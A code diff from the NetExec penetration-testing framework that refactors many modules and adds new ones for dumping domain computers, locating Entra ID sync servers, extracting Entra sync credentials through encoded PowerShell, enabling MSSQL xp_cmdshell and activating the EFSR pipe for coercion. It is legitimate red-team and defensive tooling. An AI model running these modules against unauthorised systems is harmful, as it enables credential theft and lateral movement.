||||
self.context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
|
||||
# Parses a full DACL
|
||||
# - dacl : the DACL to parse, submitted in a Security Desciptor format
|
||||
def parse_dacl(self, context, dacl):
|
||||
parsed_dacl = []
|
||||
context.log.debug("Parsing DACL")
|
||||
i = 0
|
||||
for ace in dacl["Data"]:
|
||||
parsed_ace = self.parse_ace(context, ace)
|
||||
parsed_dacl.append(parsed_ace)
|
||||
i += 1
|
||||
return parsed_dacl
|
||||
|
||||
# Parses an access mask to extract the different values from a simple permission
|
||||
@@ -462,7 +428,7 @@ class NXCModule:
|
||||
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
|
||||
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
|
||||
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
parsed_ace = {
|
||||
"Access mask": access_mask,
|
||||
"Trustee (SID)": trustee_sid
|
||||
@@ -490,7 +456,7 @@ class NXCModule:
|
||||
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace["Trustee (SID)"] = "{} ({})".format(
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
else: # if the ACE is not an access allowed
|
||||
@@ -505,15 +471,14 @@ class NXCModule:
|
||||
|
||||
def print_parsed_dacl(self, context, parsed_dacl):
|
||||
"""Prints a full DACL by printing each parsed ACE
|
||||
|
||||
|
||||
parsed_dacl : a parsed DACL from parse_dacl()
|
||||
"""
|
||||
context.log.debug("Printing parsed DACL")
|
||||
i = 0
|
||||
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
|
||||
# If an ACE type has been specified, only the ACE with this type will be specified
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for parsed_ace in parsed_dacl:
|
||||
for i, parsed_ace in enumerate(parsed_dacl):
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
@@ -561,16 +526,15 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.context.log.highlight(f"ACE[{i}] info")
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
i += 1
|
||||
|
||||
# Prints properly a parsed ACE
|
||||
# - parsed_ace : a parsed ACE from parse_ace()
|
||||
def print_parsed_ace(self, parsed_ace):
|
||||
elements_name = list(parsed_ace.keys())
|
||||
for attribute in elements_name:
|
||||
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
|
||||
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
|
||||
|
||||
# Retrieves the GUIDs for the specified rights
|
||||
def build_guids_for_rights(self):
|
||||
|
||||
@@ -2,8 +2,6 @@ class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -5,12 +5,11 @@ from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""OUTPUTFILE Output file to write hashes"""
|
||||
|
||||
@@ -12,8 +12,6 @@ class NXCModule:
|
||||
name = "drop-sc"
|
||||
description = "Drop a searchConnector-ms file on each writable share"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dump-computers"
|
||||
description = "Dumps all computers in the domain"
|
||||
supported_protocols = ["ldap"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
|
||||
OUTPUT Output to file in addition to printing to console
|
||||
|
||||
Examples
|
||||
--------
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
|
||||
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
|
||||
"""
|
||||
self.output_file = None
|
||||
self.netbios_only = False
|
||||
self.fqdn_only = False
|
||||
|
||||
if "OUTPUT" in module_options:
|
||||
self.output_file = module_options["OUTPUT"]
|
||||
if "TYPE" in module_options:
|
||||
if module_options["TYPE"].lower() == "netbios":
|
||||
self.netbios_only = True
|
||||
elif module_options["TYPE"].lower() == "fqdn":
|
||||
self.fqdn_only = True
|
||||
|
||||
def on_login(self, context, connection):
|
||||
resp = connection.search(
|
||||
searchFilter="(objectCategory=computer)",
|
||||
attributes=["dNSHostName", "operatingSystem"]
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
|
||||
|
||||
for item in resp_parsed:
|
||||
dns_host_name = item["dNSHostName"]
|
||||
operating_system = item.get("operatingSystem", "Unknown OS")
|
||||
|
||||
if self.netbios_only:
|
||||
netbios_name = dns_host_name.split(".")[0]
|
||||
answer = netbios_name
|
||||
elif self.fqdn_only:
|
||||
answer = dns_host_name
|
||||
else:
|
||||
answer = f"{dns_host_name} ({operating_system})"
|
||||
answers.append(answer)
|
||||
|
||||
context.log.success("Found the following computers:")
|
||||
for answer in answers:
|
||||
context.log.highlight(answer)
|
||||
|
||||
if self.output_file:
|
||||
try:
|
||||
with open(self.output_file, "w") as f:
|
||||
f.write("\n".join(answers) + "\n")
|
||||
context.log.success(f"Results saved to {self.output_file}")
|
||||
except Exception as e:
|
||||
context.log.error(f"Failed to write to file {self.output_file}: {e}")
|
||||
@@ -0,0 +1,110 @@
|
||||
import ntpath
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.context import Context
|
||||
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
|
||||
from impacket.smbconnection import SessionError, SMBConnection
|
||||
|
||||
|
||||
def get_error_string(exception):
|
||||
if hasattr(exception, "getErrorString"):
|
||||
try:
|
||||
es = exception.getErrorString()
|
||||
except KeyError:
|
||||
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
|
||||
if type(es) is tuple:
|
||||
return es[0]
|
||||
else:
|
||||
return es
|
||||
else:
|
||||
return str(exception)
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""EFSR Spray Module
|
||||
Module by @rtpt-romankarwacik
|
||||
"""
|
||||
|
||||
name = "efsr_spray"
|
||||
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
|
||||
supported_protocols = ["smb"]
|
||||
excluded_shares = ["SYSVOL"]
|
||||
|
||||
def options(self, context: Context, module_options: dict[str, str]):
|
||||
"""
|
||||
FILE_NAME Name of the file which will be tried to create and afterwards delete
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
|
||||
"""
|
||||
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
|
||||
self.share_name = module_options.get("SHARE_NAME")
|
||||
if module_options.get("EXCLUDED_SHARES"):
|
||||
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
|
||||
|
||||
def on_login(self, context: Context, connection):
|
||||
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
|
||||
|
||||
try:
|
||||
shares = conn.listShares()
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
|
||||
return
|
||||
|
||||
# Check if named pipe is already available
|
||||
try:
|
||||
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
|
||||
if "efsrpc" in named_pipe_names:
|
||||
context.log.highlight("efsrpc named pipe is already available!")
|
||||
# if it is already activated we just skip this computer
|
||||
return
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
|
||||
return
|
||||
|
||||
# Write an encrypted file on the share root.
|
||||
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
|
||||
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
|
||||
for share in shares:
|
||||
share_name = share["shi1_netname"][:-1]
|
||||
if self.share_name is not None and self.share_name != share_name:
|
||||
continue
|
||||
|
||||
if share_name in self.excluded_shares:
|
||||
continue
|
||||
|
||||
try:
|
||||
context.log.debug(f"Connecting to share {share_name}...")
|
||||
tid = conn.connectTree(share_name)
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Could not connect to share {share_name}: {e}")
|
||||
continue
|
||||
try:
|
||||
context.log.debug(f"Creating file in {share_name}...")
|
||||
fid = conn.createFile(tid, self.file_name,
|
||||
desiredAccess=FILE_SHARE_WRITE,
|
||||
shareMode=FILE_SHARE_DELETE,
|
||||
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
|
||||
conn.closeFile(tid, fid)
|
||||
try:
|
||||
# this can happen when we have special permissions to create encrypted files
|
||||
conn.deleteFile(share_name, self.file_name)
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
pass
|
||||
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
|
||||
|
||||
try:
|
||||
tid = conn.connectTree("IPC$")
|
||||
conn.waitNamedPipe(tid, "efsrpc", 10)
|
||||
context.log.highlight("Successfully activated efsrpc named pipe!")
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
|
||||
context.log.debug("efsrpc pipe was not activated.")
|
||||
else:
|
||||
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
|
||||
return
|
||||
@@ -12,8 +12,6 @@ class NXCModule:
|
||||
name = "empire_exec"
|
||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||
supported_protocols = ["smb", "mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -33,7 +31,7 @@ class NXCModule:
|
||||
obfuscate = "OBFUSCATE" in module_options
|
||||
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
|
||||
default_obfuscation = "Token,All,1"
|
||||
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
|
||||
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
|
||||
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
|
||||
|
||||
# Pull the host and port from the config file
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enables or disables xp_cmdshell in MSSQL Server.
|
||||
Module by crosscutsaw
|
||||
"""
|
||||
|
||||
name = "enable_cmdshell"
|
||||
description = "Enable or disable xp_cmdshell in MSSQL Server"
|
||||
supported_protocols = ["mssql"]
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.action = None
|
||||
self.advanced_options_backup = None # Stores original value of 'show advanced options'
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION enable or disable xp_cmdshell
|
||||
|
||||
Examples
|
||||
--------
|
||||
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
|
||||
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
|
||||
"""
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"].lower()
|
||||
else:
|
||||
context.log.fail("Missing required option: ACTION (enable/disable)")
|
||||
exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
if self.action == "enable":
|
||||
self.toggle_xp_cmdshell(enable=True)
|
||||
elif self.action == "disable":
|
||||
self.toggle_xp_cmdshell(enable=False)
|
||||
else:
|
||||
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
|
||||
|
||||
def backup_show_advanced_options(self):
|
||||
"""Backs up the current state of 'show advanced options'."""
|
||||
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res:
|
||||
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
|
||||
|
||||
def restore_show_advanced_options(self):
|
||||
"""Restores the original state of 'show advanced options' if needed."""
|
||||
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
|
||||
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
|
||||
|
||||
def toggle_xp_cmdshell(self, enable: bool):
|
||||
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
|
||||
state = "1" if enable else "0"
|
||||
|
||||
# Backup 'show advanced options' state
|
||||
self.backup_show_advanced_options()
|
||||
|
||||
# Enable 'show advanced options' if it was disabled
|
||||
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
|
||||
|
||||
try:
|
||||
# Enable or disable xp_cmdshell
|
||||
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
|
||||
action_text = "enabled" if enable else "disabled"
|
||||
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {e}")
|
||||
|
||||
# Restore 'show advanced options' to its original state if needed
|
||||
self.restore_show_advanced_options()
|
||||
@@ -0,0 +1,81 @@
|
||||
|
||||
import re
|
||||
|
||||
from termcolor import colored
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.config import host_info_colors
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack"""
|
||||
|
||||
name = "entra-id"
|
||||
description = "Find the Entra ID sync server"
|
||||
supported_protocols = ["ldap"]
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
|
||||
msol_parsed = parse_result_attributes(connection.search(
|
||||
searchFilter="(sAMAccountName=MSOL_*)",
|
||||
attributes=["sAMAccountName", "cn", "description"],
|
||||
))
|
||||
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
|
||||
adsync_parsed = parse_result_attributes(connection.search(
|
||||
searchFilter="(sAMAccountName=ADSyncMSA*)",
|
||||
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
|
||||
))
|
||||
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
|
||||
|
||||
hosts = []
|
||||
for acc in msol_parsed:
|
||||
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
|
||||
if host:
|
||||
hostname = host.group("host")
|
||||
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
|
||||
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
|
||||
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
|
||||
|
||||
hosts.append({
|
||||
"hostname": hostname,
|
||||
"ip": ip,
|
||||
"msol_account": acc["sAMAccountName"],
|
||||
})
|
||||
|
||||
for adsync in adsync_parsed:
|
||||
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
|
||||
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
|
||||
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
|
||||
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
|
||||
|
||||
# Get the computer object for the ADSyncMSA service account
|
||||
computer = parse_result_attributes(connection.search(
|
||||
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
|
||||
attributes=["dNSHostName", "cn", "sAMAccountName"],
|
||||
))[0]
|
||||
|
||||
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
|
||||
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
|
||||
if host and host["ip"]: # Skip if host and IP are already set
|
||||
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
|
||||
continue
|
||||
elif host: # If host exists but IP is not set, update it
|
||||
host["ip"] = connection.resolver(computer["dNSHostName"])
|
||||
else: # If host does not exist, create a new entry
|
||||
hosts.append({
|
||||
"hostname": computer["cn"],
|
||||
"ip": connection.resolver(computer["dNSHostName"]),
|
||||
})
|
||||
|
||||
if hosts:
|
||||
self.context.log.success("Found Entra ID sync servers:")
|
||||
for host in hosts:
|
||||
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
|
||||
@@ -0,0 +1,49 @@
|
||||
|
||||
from base64 import b64encode
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Example:
|
||||
-------
|
||||
Module by @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "entra-sync-creds"
|
||||
description = "Extract Entra ID sync credentials from the target host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
self.entra_id_psscript = ""
|
||||
|
||||
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
|
||||
for line in psFile:
|
||||
if line.startswith("#") or line.strip() == "":
|
||||
continue
|
||||
else:
|
||||
self.entra_id_psscript += line.strip() + "\n"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module options available."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
|
||||
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
|
||||
|
||||
if "CLIXML" in out:
|
||||
out = out.split("CLIXML")[1].split("<Objs Version")[0]
|
||||
|
||||
for line in out.splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
if "[!]" in line:
|
||||
self.context.log.fail(line.replace("[!]", "").strip())
|
||||
else:
|
||||
self.context.log.highlight(line.strip())
|
||||
+17
-3
@@ -18,8 +18,6 @@ class NXCModule:
|
||||
name = "enum_av"
|
||||
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -289,6 +287,14 @@ conf = {
|
||||
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Ivanti Security",
|
||||
"services": [
|
||||
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
|
||||
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Kaspersky Security for Windows Server",
|
||||
"services": [
|
||||
@@ -335,6 +341,11 @@ conf = {
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Rapid7",
|
||||
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
@@ -384,7 +395,10 @@ conf = {
|
||||
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
|
||||
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
|
||||
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
|
||||
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
|
||||
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
|
||||
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
|
||||
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
|
||||
|
||||
@@ -24,8 +24,6 @@ class NXCModule:
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -61,7 +59,7 @@ class NXCModule:
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.__port)
|
||||
elif self.__port in [443]:
|
||||
elif self.__port == 443:
|
||||
# Setting credentials only for RPC Proxy, but not for the MSRPC level
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
@@ -86,7 +84,7 @@ class NXCModule:
|
||||
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
|
||||
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
context.log.debug("EXEs %s" % exename)
|
||||
context.log.debug(f"EXEs {exename}")
|
||||
if exename == "certsrv.exe":
|
||||
context.log.highlight("Active Directory Certificate Services Found.")
|
||||
url = f"http://{connection.host}/certsrv/certfnsh.asp"
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -11,8 +12,6 @@ class NXCModule:
|
||||
name = "enum_dns"
|
||||
description = "Uses WMI to dump DNS from an AD DNS Server"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -34,7 +33,7 @@ class NXCModule:
|
||||
else:
|
||||
domains = [self.domains]
|
||||
data = ""
|
||||
|
||||
|
||||
for domain in domains:
|
||||
output = connection.wmi(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
|
||||
@@ -50,7 +49,7 @@ class NXCModule:
|
||||
rname = text.split(" ")[0]
|
||||
rtype = text.split(" ")[2]
|
||||
rvalue = " ".join(text.split(" ")[3:])
|
||||
if domain_data.get(rtype, False):
|
||||
if domain_data.get(rtype):
|
||||
domain_data[rtype].append(f"{rname}: {rvalue}")
|
||||
else:
|
||||
domain_data[rtype] = [f"{rname}: {rvalue}"]
|
||||
@@ -64,4 +63,4 @@ class NXCModule:
|
||||
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -7,8 +7,6 @@ class NXCModule:
|
||||
name = "enum_impersonate"
|
||||
description = "Enumerate users with impersonation privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -42,5 +40,6 @@ class NXCModule:
|
||||
"""
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [user["name"] for user in res] if res else []
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
+12
-14
@@ -7,8 +7,6 @@ class NXCModule:
|
||||
name = "enum_links"
|
||||
description = "Enumerate linked SQL Servers and their login configurations."
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -27,18 +25,18 @@ class NXCModule:
|
||||
self.context.log.display(f" - {server}")
|
||||
else:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
self.context.log.success("Linked servers found:")
|
||||
for srv in srvs:
|
||||
self.context.log.display(f"Linked server: {srv['Linked Server']}")
|
||||
self.context.log.display(f" - Local login: {srv['Local Login']}")
|
||||
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
|
||||
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
self.context.log.success("Linked servers found:")
|
||||
for srv in srvs:
|
||||
self.context.log.display(f"Linked server: {srv['Linked Server']}")
|
||||
self.context.log.display(f" - Local login: {srv['Local Login']}")
|
||||
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
|
||||
|
||||
def get_linked_servers(self) -> list:
|
||||
"""
|
||||
|
||||
+60
-17
@@ -1,14 +1,12 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server logins
|
||||
Module by deathflamingo
|
||||
Enumerate SQL Server logins (SQL, Domain, Local users)
|
||||
Module by deathflamingo, modified by mpgn
|
||||
"""
|
||||
|
||||
name = "enum_logins"
|
||||
description = "Enumerate SQL Server logins"
|
||||
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
@@ -17,24 +15,69 @@ class NXCModule:
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
|
||||
logins = self.get_logins()
|
||||
if logins:
|
||||
self.context.log.success("Logins found:")
|
||||
for login in logins:
|
||||
self.context.log.display(f" - {login}")
|
||||
self.context.log.display("Enumerated logins")
|
||||
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
|
||||
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
|
||||
for login_name, login_type, status in logins:
|
||||
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
|
||||
else:
|
||||
self.context.log.fail("No logins found.")
|
||||
|
||||
def get_logins(self) -> list:
|
||||
"""
|
||||
Fetches a list of SQL Server logins.
|
||||
def get_domain_name(self) -> str:
|
||||
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
|
||||
try:
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
if res and res[0].get("domain_name"):
|
||||
return res[0]["domain_name"].upper()
|
||||
return ""
|
||||
except Exception as e:
|
||||
